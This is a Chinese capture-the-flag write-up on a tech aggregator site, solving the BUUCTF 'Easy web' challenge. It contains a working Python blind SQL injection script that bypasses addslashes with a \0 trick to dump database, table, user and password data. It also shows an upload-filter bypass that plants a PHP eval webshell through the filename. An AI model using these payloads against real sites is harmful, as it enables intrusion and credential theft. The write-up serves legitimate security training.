IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> 2021-10-07 buuctf Easy web -> 正文阅读

[Python知识库]2021-10-07 buuctf Easy web

Easy web

打开题目,用dirsearch扫到robots.txt

找到备份

发现只有image可用

下载备份

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

源码里还看到,还会把\0,%00,\替换为空.

可以传递id和path两个参数,触发SQL注入,前提是要绕过对id和path的过滤。接下来想办法绕过过滤,主要是破坏单引号。

测试代码

?如果传入一个\\0,经addslashes()函数后变成\\\0

\\0被过滤成空,最后传入id=’\’,而\转义了 ’?致使id闭合,

select * from images where id='\' or path='{$path}'

我们就可以在path处注入我们的新语句

借鉴大佬的python脚本(BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb_AndyNoel的博客-CSDN博客

import requests
import time

"""
res =url + 'image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',test(res)) ?ciscnfinal
res =url + 'image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',test(res)) ? images,users
res =url + 'image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',test(res)) ? username,password

"""
url ='http://24d59353-1bc1-4f35-bda0-9d898cf151e9.node4.buuoj.cn:81/'
def test(url):
? ? s = ''
? ? for i in range(1,50):
? ? ? ? begin = 32
? ? ? ? ends = 126
? ? ? ? mid = (begin+ends)//2
? ? ? ? while begin<ends:
? ? ? ? ? ? r = requests.get(url.format(i,mid))
? ? ? ? ? ? if r.content!=b'':
? ? ? ? ? ? ? ? begin = mid+1
? ? ? ? ? ? ? ? mid = (begin+ends)//2
? ? ? ? ? ? else:
? ? ? ? ? ? ? ? ends = mid
? ? ? ? ? ? ? ? mid = (begin+ends)//2
? ? ? ? if mid == 32:
? ? ? ? ? ? break
? ? ? ? s+=chr(mid)
? ? ? ? print(s)
? ? return s.rstrip()
res =url + 'image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',test(res))
res =url + 'image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',test(res))

跑出来的用户名为admin密码为87f24beb54295d600e67

随便上传一个php文件

被过滤

尝试抓包修改成phtml,发现没被过滤

?同时也发现,该文件是被写入到日志中

我们可以直接修改文件名写入一句话

因为文件名不允许出现php,所以我们可以用短标签绕过

修改文件名为<?=@eval($_POST['QAQ']);?>

拿到写入位置

?蚁剑访问

?得到flag

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-10-08 11:45:45  更:2021-10-08 11:47:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 17:20:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码